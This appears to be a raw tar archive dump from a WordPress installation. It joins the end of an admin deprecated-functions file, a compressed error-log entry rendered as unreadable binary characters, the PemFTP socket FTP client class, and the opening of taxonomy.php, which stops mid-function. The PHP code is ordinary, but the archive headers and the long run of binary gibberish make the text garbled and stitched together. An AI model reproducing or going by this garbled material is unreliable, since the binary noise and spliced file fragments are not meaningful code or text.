 * @see wp_media_insert_url_form()
 *
 * @return string
 */
function type_url_form_audio() {
	_deprecated_function( __FUNCTION__, '3.3.0', "wp_media_insert_url_form('audio')" );
	return wp_media_insert_url_form( 'audio' );
}

/**
 * Handles retrieving the insert-from-URL form for a video file.
 *
 * @deprecated 3.3.0 Use wp_media_insert_url_form()
 * @see wp_media_insert_url_form()
 *
 * @return string
 */
function type_url_form_video() {
	_deprecated_function( __FUNCTION__, '3.3.0', "wp_media_insert_url_form('video')" );
	return wp_media_insert_url_form( 'video' );
}

/**
 * Handles retrieving the insert-from-URL form for a generic file.
 *
 * @deprecated 3.3.0 Use wp_media_insert_url_form()
 * @see wp_media_insert_url_form()
 *
 * @return string
 */
function type_url_form_file() {
	_deprecated_function( __FUNCTION__, '3.3.0', "wp_media_insert_url_form('file')" );
	return wp_media_insert_url_form( 'file' );
}

/**
 * Add contextual help text for a page.
 *
 * Creates an 'Overview' help tab.
 *
 * @since 2.7.0
 * @deprecated 3.3.0 Use WP_Screen::add_help_tab()
 * @see WP_Screen::add_help_tab()
 *
 * @param string    $screen The handle for the screen to add help to. This is usually
 *                          the hook name returned by the `add_*_page()` functions.
 * @param string    $help   The content of an 'Overview' help tab.
 */
function add_contextual_help( $screen, $help ) {
	_deprecated_function( __FUNCTION__, '3.3.0', 'get_current_screen()->add_help_tab()' );

	if ( is_string( $screen ) )
		$screen = convert_to_screen( $screen );

	WP_Screen::add_old_compat_help( $screen, $help );
}

/**
 * Get the allowed themes for the current site.
 *
 * @since 3.0.0
 * @deprecated 3.4.0 Use wp_get_themes()
 * @see wp_get_themes()
 *
 * @return WP_Theme[] Array of WP_Theme objects keyed by their name.
 */
function get_allowed_themes() {
	_deprecated_function( __FUNCTION__, '3.4.0', "wp_get_themes( array( 'allowed' => true ) )" );

	$themes = wp_get_themes( array( 'allowed' => true ) );

	$wp_themes = array();
	foreach ( $themes as $theme ) {
		$wp_themes[ $theme->get('Name') ] = $theme;
	}

	return $wp_themes;
}

/**
 * Retrieves a list of broken themes.
 *
 * @since 1.5.0
 * @deprecated 3.4.0 Use wp_get_themes()
 * @see wp_get_themes()
 *
 * @return array
 */
function get_broken_themes() {
	_deprecated_function( __FUNCTION__, '3.4.0', "wp_get_themes( array( 'errors' => true )" );

	$themes = wp_get_themes( array( 'errors' => true ) );
	$broken = array();
	foreach ( $themes as $theme ) {
		$name = $theme->get('Name');
		$broken[ $name ] = array(
			'Name' => $name,
			'Title' => $name,
			'Description' => $theme->errors()->get_error_message(),
		);
	}
	return $broken;
}

/**
 * Retrieves information on the current active theme.
 *
 * @since 2.0.0
 * @deprecated 3.4.0 Use wp_get_theme()
 * @see wp_get_theme()
 *
 * @return WP_Theme
 */
function current_theme_info() {
	_deprecated_function( __FUNCTION__, '3.4.0', 'wp_get_theme()' );

	return wp_get_theme();
}

/**
 * This was once used to display an 'Insert into Post' button.
 *
 * Now it is deprecated and stubbed.
 *
 * @deprecated 3.5.0
 */
function _insert_into_post_button( $type ) {
	_deprecated_function( __FUNCTION__, '3.5.0' );
}

/**
 * This was once used to display a media button.
 *
 * Now it is deprecated and stubbed.
 *
 * @deprecated 3.5.0
 */
function _media_button($title, $icon, $type, $id) {
	_deprecated_function( __FUNCTION__, '3.5.0' );
}

/**
 * Gets an existing post and format it for editing.
 *
 * @since 2.0.0
 * @deprecated 3.5.0 Use get_post()
 * @see get_post()
 *
 * @param int $id
 * @return WP_Post
 */
function get_post_to_edit( $id ) {
	_deprecated_function( __FUNCTION__, '3.5.0', 'get_post()' );

	return get_post( $id, OBJECT, 'edit' );
}

/**
 * Gets the default page information to use.
 *
 * @since 2.5.0
 * @deprecated 3.5.0 Use get_default_post_to_edit()
 * @see get_default_post_to_edit()
 *
 * @return WP_Post Post object containing all the default post data as attributes
 */
function get_default_page_to_edit() {
	_deprecated_function( __FUNCTION__, '3.5.0', "get_default_post_to_edit( 'page' )" );

	$page = get_default_post_to_edit();
	$page->post_type = 'page';
	return $page;
}

/**
 * This was once used to create a thumbnail from an Image given a maximum side size.
 *
 * @since 1.2.0
 * @deprecated 3.5.0 Use image_resize()
 * @see image_resize()
 *
 * @param mixed $file Filename of the original image, Or attachment ID.
 * @param int $max_side Maximum length of a single side for the thumbnail.
 * @param mixed $deprecated Never used.
 * @return string Thumbnail path on success, Error string on failure.
 */
function wp_create_thumbnail( $file, $max_side, $deprecated = '' ) {
	_deprecated_function( __FUNCTION__, '3.5.0', 'image_resize()' );
	return apply_filters( 'wp_create_thumbnail', image_resize( $file, $max_side, $max_side ) );
}

/**
 * This was once used to display a meta box for the nav menu theme locations.
 *
 * Deprecated in favor of a 'Manage Locations' tab added to nav menus management screen.
 *
 * @since 3.0.0
 * @deprecated 3.6.0
 */
function wp_nav_menu_locations_meta_box() {
	_deprecated_function( __FUNCTION__, '3.6.0' );
}

/**
 * This was once used to kick-off the Core Updater.
 *
 * Deprecated in favor of instantating a Core_Upgrader instance directly,
 * and calling the 'upgrade' method.
 *
 * @since 2.7.0
 * @deprecated 3.7.0 Use Core_Upgrader
 * @see Core_Upgrader
 */
function wp_update_core($current, $feedback = '') {
	_deprecated_function( __FUNCTION__, '3.7.0', 'new Core_Upgrader();' );

	if ( !empty($feedback) )
		add_filter('update_feedback', $feedback);

	require ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
	$upgrader = new Core_Upgrader();
	return $upgrader->upgrade($current);

}

/**
 * This was once used to kick-off the Plugin Updater.
 *
 * Deprecated in favor of instantating a Plugin_Upgrader instance directly,
 * and calling the 'upgrade' method.
 * Unused since 2.8.0.
 *
 * @since 2.5.0
 * @deprecated 3.7.0 Use Plugin_Upgrader
 * @see Plugin_Upgrader
 */
function wp_update_plugin($plugin, $feedback = '') {
	_deprecated_function( __FUNCTION__, '3.7.0', 'new Plugin_Upgrader();' );

	if ( !empty($feedback) )
		add_filter('update_feedback', $feedback);

	require ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
	$upgrader = new Plugin_Upgrader();
	return $upgrader->upgrade($plugin);
}

/**
 * This was once used to kick-off the Theme Updater.
 *
 * Deprecated in favor of instantiating a Theme_Upgrader instance directly,
 * and calling the 'upgrade' method.
 * Unused since 2.8.0.
 *
 * @since 2.7.0
 * @deprecated 3.7.0 Use Theme_Upgrader
 * @see Theme_Upgrader
 */
function wp_update_theme($theme, $feedback = '') {
	_deprecated_function( __FUNCTION__, '3.7.0', 'new Theme_Upgrader();' );

	if ( !empty($feedback) )
		add_filter('update_feedback', $feedback);

	require ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
	$upgrader = new Theme_Upgrader();
	return $upgrader->upgrade($theme);
}

/**
 * This was once used to display attachment links. Now it is deprecated and stubbed.
 *
 * @since 2.0.0
 * @deprecated 3.7.0
 *
 * @param int|bool $id
 */
function the_attachment_links( $id = false ) {
	_deprecated_function( __FUNCTION__, '3.7.0' );
}

/**
 * Displays a screen icon.
 *
 * @since 2.7.0
 * @deprecated 3.8.0
 */
function screen_icon() {
	_deprecated_function( __FUNCTION__, '3.8.0' );
	echo get_screen_icon();
}

/**
 * Retrieves the screen icon (no longer used in 3.8+).
 *
 * @since 3.2.0
 * @deprecated 3.8.0
 *
 * @return string An HTML comment explaining that icons are no longer used.
 */
function get_screen_icon() {
	_deprecated_function( __FUNCTION__, '3.8.0' );
	return '<!-- Screen icons are no longer used as of WordPress 3.8. -->';
}

/**
 * Deprecated dashboard widget controls.
 *
 * @since 2.5.0
 * @deprecated 3.8.0
 */
function wp_dashboard_incoming_links_output() {}

/**
 * Deprecated dashboard secondary output.
 *
 * @deprecated 3.8.0
 */
function wp_dashboard_secondary_output() {}

/**
 * Deprecated dashboard widget controls.
 *
 * @since 2.7.0
 * @deprecated 3.8.0
 */
function wp_dashboard_incoming_links() {}

/**
 * Deprecated dashboard incoming links control.
 *
 * @deprecated 3.8.0
 */
function wp_dashboard_incoming_links_control() {}

/**
 * Deprecated dashboard plugins control.
 *
 * @deprecated 3.8.0
 */
function wp_dashboard_plugins() {}

/**
 * Deprecated dashboard primary control.
 *
 * @deprecated 3.8.0
 */
function wp_dashboard_primary_control() {}

/**
 * Deprecated dashboard recent comments control.
 *
 * @deprecated 3.8.0
 */
function wp_dashboard_recent_comments_control() {}

/**
 * Deprecated dashboard secondary section.
 *
 * @deprecated 3.8.0
 */
function wp_dashboard_secondary() {}

/**
 * Deprecated dashboard secondary control.
 *
 * @deprecated 3.8.0
 */
function wp_dashboard_secondary_control() {}

/**
 * Display plugins text for the WordPress news widget.
 *
 * @since 2.5.0
 * @deprecated 4.8.0
 *
 * @param string $rss  The RSS feed URL.
 * @param array  $args Array of arguments for this RSS feed.
 */
function wp_dashboard_plugins_output( $rss, $args = array() ) {
	_deprecated_function( __FUNCTION__, '4.8.0' );

	// Plugin feeds plus link to install them.
	$popular = fetch_feed( $args['url']['popular'] );

	if ( false === $plugin_slugs = get_transient( 'plugin_slugs' ) ) {
		$plugin_slugs = array_keys( get_plugins() );
		set_transient( 'plugin_slugs', $plugin_slugs, DAY_IN_SECONDS );
	}

	echo '<ul>';

	foreach ( array( $popular ) as $feed ) {
		if ( is_wp_error( $feed ) || ! $feed->get_item_quantity() )
			continue;

		$items = $feed->get_items(0, 5);

		// Pick a random, non-installed plugin.
		while ( true ) {
			// Abort this foreach loop iteration if there's no plugins left of this type.
			if ( 0 === count($items) )
				continue 2;

			$item_key = array_rand($items);
			$item = $items[$item_key];

			list($link, $frag) = explode( '#', $item->get_link() );

			$link = esc_url($link);
			if ( preg_match( '|/([^/]+?)/?$|', $link, $matches ) )
				$slug = $matches[1];
			else {
				unset( $items[$item_key] );
				continue;
			}

			// Is this random plugin's slug already installed? If so, try again.
			reset( $plugin_slugs );
			foreach ( $plugin_slugs as $plugin_slug ) {
				if ( str_starts_with( $plugin_slug, $slug ) ) {
					unset( $items[$item_key] );
					continue 2;
				}
			}

			// If we get to this point, then the random plugin isn't installed and we can stop the while().
			break;
		}

		// Eliminate some common badly formed plugin descriptions.
		while ( ( null !== $item_key = array_rand($items) ) && str_contains( $items[$item_key]->get_description(), 'Plugin Name:' ) )
			unset($items[$item_key]);

		if ( !isset($items[$item_key]) )
			continue;

		$raw_title = $item->get_title();

		$ilink = wp_nonce_url('plugin-install.php?tab=plugin-information&plugin=' . $slug, 'install-plugin_' . $slug) . '&amp;TB_iframe=true&amp;width=600&amp;height=800';
		echo '<li class="dashboard-news-plugin"><span>' . __( 'Popular Plugin' ) . ':</span> ' . esc_html( $raw_title ) .
			'&nbsp;<a href="' . $ilink . '" class="thickbox open-plugin-details-modal" aria-label="' .
			/* translators: %s: Plugin name. */
			esc_attr( sprintf( _x( 'Install %s', 'plugin' ), $raw_title ) ) . '">(' . __( 'Install' ) . ')</a></li>';

		$feed->__destruct();
		unset( $feed );
	}

	echo '</ul>';
}

/**
 * This was once used to move child posts to a new parent.
 *
 * @since 2.3.0
 * @deprecated 3.9.0
 * @access private
 *
 * @param int $old_ID
 * @param int $new_ID
 */
function _relocate_children( $old_ID, $new_ID ) {
	_deprecated_function( __FUNCTION__, '3.9.0' );
}

/**
 * Add a top-level menu page in the 'objects' section.
 *
 * This function takes a capability which will be used to determine whether
 * or not a page is included in the menu.
 *
 * The function which is hooked in to handle the output of the page must check
 * that the user has the required capability as well.
 *
 * @since 2.7.0
 *
 * @deprecated 4.5.0 Use add_menu_page()
 * @see add_menu_page()
 * @global int $_wp_last_object_menu
 *
 * @param string   $page_title The text to be displayed in the title tags of the page when the menu is selected.
 * @param string   $menu_title The text to be used for the menu.
 * @param string   $capability The capability required for this menu to be displayed to the user.
 * @param string   $menu_slug  The slug name to refer to this menu by (should be unique for this menu).
 * @param callable $callback   Optional. The function to be called to output the content for this page.
 * @param string   $icon_url   Optional. The URL to the icon to be used for this menu.
 * @return string The resulting page's hook_suffix.
 */
function add_object_page( $page_title, $menu_title, $capability, $menu_slug, $callback = '', $icon_url = '') {
	_deprecated_function( __FUNCTION__, '4.5.0', 'add_menu_page()' );

	global $_wp_last_object_menu;

	$_wp_last_object_menu++;

	return add_menu_page($page_title, $menu_title, $capability, $menu_slug, $callback, $icon_url, $_wp_last_object_menu);
}

/**
 * Add a top-level menu page in the 'utility' section.
 *
 * This function takes a capability which will be used to determine whether
 * or not a page is included in the menu.
 *
 * The function which is hooked in to handle the output of the page must check
 * that the user has the required capability as well.
 *
 * @since 2.7.0
 *
 * @deprecated 4.5.0 Use add_menu_page()
 * @see add_menu_page()
 * @global int $_wp_last_utility_menu
 *
 * @param string   $page_title The text to be displayed in the title tags of the page when the menu is selected.
 * @param string   $menu_title The text to be used for the menu.
 * @param string   $capability The capability required for this menu to be displayed to the user.
 * @param string   $menu_slug  The slug name to refer to this menu by (should be unique for this menu).
 * @param callable $callback   Optional. The function to be called to output the content for this page.
 * @param string   $icon_url   Optional. The URL to the icon to be used for this menu.
 * @return string The resulting page's hook_suffix.
 */
function add_utility_page( $page_title, $menu_title, $capability, $menu_slug, $callback = '', $icon_url = '') {
	_deprecated_function( __FUNCTION__, '4.5.0', 'add_menu_page()' );

	global $_wp_last_utility_menu;

	$_wp_last_utility_menu++;

	return add_menu_page($page_title, $menu_title, $capability, $menu_slug, $callback, $icon_url, $_wp_last_utility_menu);
}

/**
 * Disables autocomplete on the 'post' form (Add/Edit Post screens) for WebKit browsers,
 * as they disregard the autocomplete setting on the editor textarea. That can break the editor
 * when the user navigates to it with the browser's Back button. See #28037
 *
 * Replaced with wp_page_reload_on_back_button_js() that also fixes this problem.
 *
 * @since 4.0.0
 * @deprecated 4.6.0
 *
 * @link https://core.trac.wordpress.org/ticket/35852
 *
 * @global bool $is_safari
 * @global bool $is_chrome
 */
function post_form_autocomplete_off() {
	global $is_safari, $is_chrome;

	_deprecated_function( __FUNCTION__, '4.6.0' );

	if ( $is_safari || $is_chrome ) {
		echo ' autocomplete="off"';
	}
}

/**
 * Display JavaScript on the page.
 *
 * @since 3.5.0
 * @deprecated 4.9.0
 */
function options_permalink_add_js() {
	?>
	<script type="text/javascript">
		jQuery( function() {
			jQuery('.permalink-structure input:radio').change(function() {
				if ( 'custom' == this.value )
					return;
				jQuery('#permalink_structure').val( this.value );
			});
			jQuery( '#permalink_structure' ).on( 'click input', function() {
				jQuery( '#custom_selection' ).prop( 'checked', true );
			});
		} );
	</script>
	<?php
}

/**
 * Previous class for list table for privacy data export requests.
 *
 * @since 4.9.6
 * @deprecated 5.3.0
 */
class WP_Privacy_Data_Export_Requests_Table extends WP_Privacy_Data_Export_Requests_List_Table {
	function __construct( $args ) {
		_deprecated_function( __CLASS__, '5.3.0', 'WP_Privacy_Data_Export_Requests_List_Table' );

		if ( ! isset( $args['screen'] ) || $args['screen'] === 'export_personal_data' ) {
			$args['screen'] = 'export-personal-data';
		}

		parent::__construct( $args );
	}
}

/**
 * Previous class for list table for privacy data erasure requests.
 *
 * @since 4.9.6
 * @deprecated 5.3.0
 */
class WP_Privacy_Data_Removal_Requests_Table extends WP_Privacy_Data_Removal_Requests_List_Table {
	function __construct( $args ) {
		_deprecated_function( __CLASS__, '5.3.0', 'WP_Privacy_Data_Removal_Requests_List_Table' );

		if ( ! isset( $args['screen'] ) || $args['screen'] === 'remove_personal_data' ) {
			$args['screen'] = 'erase-personal-data';
		}

		parent::__construct( $args );
	}
}

/**
 * Was used to add options for the privacy requests screens before they were separate files.
 *
 * @since 4.9.8
 * @access private
 * @deprecated 5.3.0
 */
function _wp_privacy_requests_screen_options() {
	_deprecated_function( __FUNCTION__, '5.3.0' );
}

/**
 * Was used to filter input from media_upload_form_handler() and to assign a default
 * post_title from the file name if none supplied.
 *
 * @since 2.5.0
 * @deprecated 6.0.0
 *
 * @param array $post       The WP_Post attachment object converted to an array.
 * @param array $attachment An array of attachment metadata.
 * @return array Attachment post object converted to an array.
 */
function image_attachment_fields_to_save( $post, $attachment ) {
	_deprecated_function( __FUNCTION__, '6.0.0' );

	return $post;
}
error_log.tar.gz000064400000004205150275632050007673 0ustar00��[o�6��OA���>(��v8`@ӦX��
�}(��h[�n��$ݰ�C�+�Y��M����?��9��G�:�z汐�gNBSF�4K�{�D��}�7��3/t�̥�M�(��h�C�K�k`����;�P�,U�C��𺮪��������#���#���WtU7�fbm�u
�\��]�r��F|�����!�d������P�t��E�,t��ȏ�k3���( ^��%�Bt6]Z�7�ձ�����4����gF�b	q(~�\E�y��&�}��⽆A P*�b�Ttk��k��{*��|�񂊊
���T��XX`��������΂��tmm�-���S���L�=I8��_ ������*��1h:6Tf�?�6���=�3�I:�	t�M�5 �PAdBd���?v��zm >(��/W�M<I�K���OP14��S��:�]�d"2�%[����#]��T*����d����z�а���a��6ɯT{m}�"�V��KA6�=�'������{�!�[3b��'
;�:��D����v�JÚ�ͦF5f�}KR�hN��Ss4BMhSjM��pt��_�	��FΌ�T�
�
6Z�0.(�$�ddB��H�Gꥁ	�ʅ⛓;�On�y4�H�E���qߗgrO����#q�����U�vx}�s	�C�bi�`4Yc5�yJ-�'���0.c�Ĵ{j�=����h���!�;.�wK���j�
�g���S��$J�)Δ:3�K����T�4�j��X.f w�{f��ɝ@���	*��.-+�Xkgt��Q�[��$��]CBk�^-K�Bf���h.�O�V�l����9�����j��_�c߃��E!,h��>J\X〒¸��׋R{��VςP��6����	�Rl�տ	����i�-e4�/�����UÊ�%ԑ2q<![:g���V�nc���ֲ܌n*��f�R2���e1?�H���T���-EW̌fC?��]�ɟ�TK'�a��`�N��-&��f	'V �Ff�"a�H��w"�ƊTKml��U]!�R%���OWakQE�-/��[�r8�E�+\��� ܊�+�5��+��#��J�K�c�H\v>��W�[�M
�z�C/��lq_�^F�T[ݫ�0���K�f��։xd:yu���/'��;���Mq�
}���)	�3�E���i֙�-���YlDw�?��)��59u"��CZ�b�*	���OoU���$�'�TK�$k��\登n�[��+Q��x,����k��d
�����ri�P~�ݵyQ���H���=JT�Y:G
��
����k�m�1��K�0%�����~����`���"�c]x�.T������V���j���o��e�o۟�L����º!���-�QJ7v��Y'ήQ�0�楔L�Fe�aS��Fd���������]� �R;��>Jfvދ�P�����F�WLv��NR�UϏ)���*��U��fA#l���i'�ɦHKk��va24���)sgJ����>�z0x#��WZ� u`a@曔e�k����ݴ�j��ͅ� �<�f6�"e	�e4xlC^�����õ��ݧ�H	�P"[@tM�59��k[��/$	�p0����k��g����%FW4	�4���У���+��ã]�Fa���ˆ��u�أ���Y�{����&Dw��b�X�eɤ�+E�[���#�i�R�P�60ս���0���}����"���3P���\|���,ޭ�d�ݎv�-U3�YK��q���]x�6���v
f�;�
k7Yޣ��:��6l��/^>{������o#����E n���@�W'h�}O�4r9���Ɯ3F1���y�Z��0��N�:A��K	]d)C��o�;�F����Nw���W��}��p�{,r����*�g�[H�Z@>�m0y%Ҫ;�������`5 ��򝦽'��$�f0�=�3O�#�����\z+|>{�~%ί,k�_I��(���1=���7�h�#�9,��p��|�?̫z�!l�.<����"��sl����`�:��_��_���_��G�jclass-ftp-sockets.php000064400000020437150275632050010635 0ustar00<?php
/**
 * PemFTP - An Ftp implementation in pure PHP
 *
 * @package PemFTP
 * @since 2.5.0
 *
 * @version 1.0
 * @copyright Alexey Dotsenko
 * @author Alexey Dotsenko
 * @link https://www.phpclasses.org/package/1743-PHP-FTP-client-in-pure-PHP.html
 * @license LGPL https://opensource.org/licenses/lgpl-license.html
 */

/**
 * Socket Based FTP implementation
 *
 * @package PemFTP
 * @subpackage Socket
 * @since 2.5.0
 *
 * @version 1.0
 * @copyright Alexey Dotsenko
 * @author Alexey Dotsenko
 * @link https://www.phpclasses.org/package/1743-PHP-FTP-client-in-pure-PHP.html
 * @license LGPL https://opensource.org/licenses/lgpl-license.html
 */
class ftp_sockets extends ftp_base {

	function __construct($verb=FALSE, $le=FALSE) {
		parent::__construct(true, $verb, $le);
	}

// <!-- --------------------------------------------------------------------------------------- -->
// <!--       Private functions                                                                 -->
// <!-- --------------------------------------------------------------------------------------- -->

	function _settimeout($sock) {
		if(!@socket_set_option($sock, SOL_SOCKET, SO_RCVTIMEO, array("sec"=>$this->_timeout, "usec"=>0))) {
			$this->PushError('_connect','socket set receive timeout',socket_strerror(socket_last_error($sock)));
			@socket_close($sock);
			return FALSE;
		}
		if(!@socket_set_option($sock, SOL_SOCKET , SO_SNDTIMEO, array("sec"=>$this->_timeout, "usec"=>0))) {
			$this->PushError('_connect','socket set send timeout',socket_strerror(socket_last_error($sock)));
			@socket_close($sock);
			return FALSE;
		}
		return true;
	}

	function _connect($host, $port) {
		$this->SendMSG("Creating socket");
		if(!($sock = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP))) {
			$this->PushError('_connect','socket create failed',socket_strerror(socket_last_error($sock)));
			return FALSE;
		}
		if(!$this->_settimeout($sock)) return FALSE;
		$this->SendMSG("Connecting to \"".$host.":".$port."\"");
		if (!($res = @socket_connect($sock, $host, $port))) {
			$this->PushError('_connect','socket connect failed',socket_strerror(socket_last_error($sock)));
			@socket_close($sock);
			return FALSE;
		}
		$this->_connected=true;
		return $sock;
	}

	function _readmsg($fnction="_readmsg"){
		if(!$this->_connected) {
			$this->PushError($fnction,'Connect first');
			return FALSE;
		}
		$result=true;
		$this->_message="";
		$this->_code=0;
		$go=true;
		do {
			$tmp=@socket_read($this->_ftp_control_sock, 4096, PHP_BINARY_READ);
			if($tmp===false) {
				$go=$result=false;
				$this->PushError($fnction,'Read failed', socket_strerror(socket_last_error($this->_ftp_control_sock)));
			} else {
				$this->_message.=$tmp;
				$go = !preg_match("/^([0-9]{3})(-.+\\1)? [^".CRLF."]+".CRLF."$/Us", $this->_message, $regs);
			}
		} while($go);
		if($this->LocalEcho) echo "GET < ".rtrim($this->_message, CRLF).CRLF;
		$this->_code=(int)$regs[1];
		return $result;
	}

	function _exec($cmd, $fnction="_exec") {
		if(!$this->_ready) {
			$this->PushError($fnction,'Connect first');
			return FALSE;
		}
		if($this->LocalEcho) echo "PUT > ",$cmd,CRLF;
		$status=@socket_write($this->_ftp_control_sock, $cmd.CRLF);
		if($status===false) {
			$this->PushError($fnction,'socket write failed', socket_strerror(socket_last_error($this->stream)));
			return FALSE;
		}
		$this->_lastaction=time();
		if(!$this->_readmsg($fnction)) return FALSE;
		return TRUE;
	}

	function _data_prepare($mode=FTP_ASCII) {
		if(!$this->_settype($mode)) return FALSE;
		$this->SendMSG("Creating data socket");
		$this->_ftp_data_sock = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
		if ($this->_ftp_data_sock < 0) {
			$this->PushError('_data_prepare','socket create failed',socket_strerror(socket_last_error($this->_ftp_data_sock)));
			return FALSE;
		}
		if(!$this->_settimeout($this->_ftp_data_sock)) {
			$this->_data_close();
			return FALSE;
		}
		if($this->_passive) {
			if(!$this->_exec("PASV", "pasv")) {
				$this->_data_close();
				return FALSE;
			}
			if(!$this->_checkCode()) {
				$this->_data_close();
				return FALSE;
			}
			$ip_port = explode(",", preg_replace("/^.+ \\(?([0-9]{1,3},[0-9]{1,3},[0-9]{1,3},[0-9]{1,3},[0-9]+,[0-9]+)\\)?.*$/s", "\\1", $this->_message));
			$this->_datahost=$ip_port[0].".".$ip_port[1].".".$ip_port[2].".".$ip_port[3];
			$this->_dataport=(((int)$ip_port[4])<<8) + ((int)$ip_port[5]);
			$this->SendMSG("Connecting to ".$this->_datahost.":".$this->_dataport);
			if(!@socket_connect($this->_ftp_data_sock, $this->_datahost, $this->_dataport)) {
				$this->PushError("_data_prepare","socket_connect", socket_strerror(socket_last_error($this->_ftp_data_sock)));
				$this->_data_close();
				return FALSE;
			}
			else $this->_ftp_temp_sock=$this->_ftp_data_sock;
		} else {
			if(!@socket_getsockname($this->_ftp_control_sock, $addr, $port)) {
				$this->PushError("_data_prepare","cannot get control socket information", socket_strerror(socket_last_error($this->_ftp_control_sock)));
				$this->_data_close();
				return FALSE;
			}
			if(!@socket_bind($this->_ftp_data_sock,$addr)){
				$this->PushError("_data_prepare","cannot bind data socket", socket_strerror(socket_last_error($this->_ftp_data_sock)));
				$this->_data_close();
				return FALSE;
			}
			if(!@socket_listen($this->_ftp_data_sock)) {
				$this->PushError("_data_prepare","cannot listen data socket", socket_strerror(socket_last_error($this->_ftp_data_sock)));
				$this->_data_close();
				return FALSE;
			}
			if(!@socket_getsockname($this->_ftp_data_sock, $this->_datahost, $this->_dataport)) {
				$this->PushError("_data_prepare","cannot get data socket information", socket_strerror(socket_last_error($this->_ftp_data_sock)));
				$this->_data_close();
				return FALSE;
			}
			if(!$this->_exec('PORT '.str_replace('.',',',$this->_datahost.'.'.($this->_dataport>>8).'.'.($this->_dataport&0x00FF)), "_port")) {
				$this->_data_close();
				return FALSE;
			}
			if(!$this->_checkCode()) {
				$this->_data_close();
				return FALSE;
			}
		}
		return TRUE;
	}

	function _data_read($mode=FTP_ASCII, $fp=NULL) {
		$NewLine=$this->_eol_code[$this->OS_local];
		if(is_resource($fp)) $out=0;
		else $out="";
		if(!$this->_passive) {
			$this->SendMSG("Connecting to ".$this->_datahost.":".$this->_dataport);
			$this->_ftp_temp_sock=socket_accept($this->_ftp_data_sock);
			if($this->_ftp_temp_sock===FALSE) {
				$this->PushError("_data_read","socket_accept", socket_strerror(socket_last_error($this->_ftp_temp_sock)));
				$this->_data_close();
				return FALSE;
			}
		}

		while(($block=@socket_read($this->_ftp_temp_sock, $this->_ftp_buff_size, PHP_BINARY_READ))!==false) {
			if($block==="") break;
			if($mode!=FTP_BINARY) $block=preg_replace("/\r\n|\r|\n/", $this->_eol_code[$this->OS_local], $block);
			if(is_resource($fp)) $out+=fwrite($fp, $block, strlen($block));
			else $out.=$block;
		}
		return $out;
	}

	function _data_write($mode=FTP_ASCII, $fp=NULL) {
		$NewLine=$this->_eol_code[$this->OS_local];
		if(is_resource($fp)) $out=0;
		else $out="";
		if(!$this->_passive) {
			$this->SendMSG("Connecting to ".$this->_datahost.":".$this->_dataport);
			$this->_ftp_temp_sock=socket_accept($this->_ftp_data_sock);
			if($this->_ftp_temp_sock===FALSE) {
				$this->PushError("_data_write","socket_accept", socket_strerror(socket_last_error($this->_ftp_temp_sock)));
				$this->_data_close();
				return false;
			}
		}
		if(is_resource($fp)) {
			while(!feof($fp)) {
				$block=fread($fp, $this->_ftp_buff_size);
				if(!$this->_data_write_block($mode, $block)) return false;
			}
		} elseif(!$this->_data_write_block($mode, $fp)) return false;
		return true;
	}

	function _data_write_block($mode, $block) {
		if($mode!=FTP_BINARY) $block=preg_replace("/\r\n|\r|\n/", $this->_eol_code[$this->OS_remote], $block);
		do {
			if(($t=@socket_write($this->_ftp_temp_sock, $block))===FALSE) {
				$this->PushError("_data_write","socket_write", socket_strerror(socket_last_error($this->_ftp_temp_sock)));
				$this->_data_close();
				return FALSE;
			}
			$block=substr($block, $t);
		} while(!empty($block));
		return true;
	}

	function _data_close() {
		@socket_close($this->_ftp_temp_sock);
		@socket_close($this->_ftp_data_sock);
		$this->SendMSG("Disconnected data from remote host");
		return TRUE;
	}

	function _quit() {
		if($this->_connected) {
			@socket_close($this->_ftp_control_sock);
			$this->_connected=false;
			$this->SendMSG("Socket closed");
		}
	}
}
?>
taxonomy.php000064400000020350150275632050007140 0ustar00<?php
/**
 * WordPress Taxonomy Administration API.
 *
 * @package WordPress
 * @subpackage Administration
 */

//
// Category.
//

/**
 * Checks whether a category exists.
 *
 * @since 2.0.0
 *
 * @see term_exists()
 *
 * @param int|string $cat_name        Category name.
 * @param int        $category_parent Optional. ID of parent category.
 * @return string|null Returns the category ID as a numeric string if the pairing exists, null if not.
 */
function category_exists( $cat_name, $category_parent = null ) {
	$id = term_exists( $cat_name, 'category', $category_parent );
	if ( is_array( $id ) ) {
		$id = $id['term_id'];
	}
	return $id;
}

/**
 * Gets category object for given ID and 'edit' filter context.
 *
 * @since 2.0.0
 *
 * @param int $id
 * @return object
 */
function get_category_to_edit( $id ) {
	$category = get_term( $id, 'category', OBJECT, 'edit' );
	_make_cat_compat( $category );
	return $category;
}

/**
 * Adds a new category to the database if it does not already exist.
 *
 * @since 2.0.0
 *
 * @param int|string $cat_name        Category name.
 * @param int        $category_parent Optional. ID of parent category.
 * @return int|WP_Error
 */
function wp_create_category( $cat_name, $category_parent = 0 ) {
	$id = category_exists( $cat_name, $category_parent );
	if ( $id ) {
		return $id;
	}

	return wp_insert_category(
		array(
			'cat_name'        => $cat_name,
			'category_parent' => $category_parent,
		)
	);
}

/**
 * Creates categories for the given post.
 *
 * @since 2.0.0
 *
 * @param string[] $categories Array of category names to create.
 * @param int      $post_id    Optional. The post ID. Default empty.
 * @return int[] Array of IDs of categories assigned to the given post.
 */
function wp_create_categories( $categories, $post_id = '' ) {
	$cat_ids = array();
	foreach ( $categories as $category ) {
		$id = category_exists( $category );
		if ( $id ) {
			$cat_ids[] = $id;
		} else {
			$id = wp_create_category( $category );
			if ( $id ) {
				$cat_ids[] = $id;
			}
		}
	}

	if ( $post_id ) {
		wp_set_post_categories( $post_id, $cat_ids );
	}

	return $cat_ids;
}

/**
 * Updates an existing Category or creates a new Category.
 *
 * @since 2.0.0
 * @since 2.5.0 $wp_error parameter was added.
 * @since 3.0.0 The 'taxonomy' argument was added.
 *
 * @param array $catarr {
 *     Array of arguments for inserting a new category.
 *
 *     @type int        $cat_ID               Category ID. A non-zero value updates an existing category.
 *                                            Default 0.
 *     @type string     $taxonomy             Taxonomy slug. Default 'category'.
 *     @type string     $cat_name             Category name. Default empty.
 *     @type string     $category_description Category description. Default empty.
 *     @type string     $category_nicename    Category nice (display) name. Default empty.
 *     @type int|string $category_parent      Category parent ID. Default empty.
 * }
 * @param bool  $wp_error Optional. Default false.
 * @return int|WP_Error The ID number of the new or updated Category on success. Zero or a WP_Error on failure,
 *                      depending on param `$wp_error`.
 */
function wp_insert_category( $catarr, $wp_error = false ) {
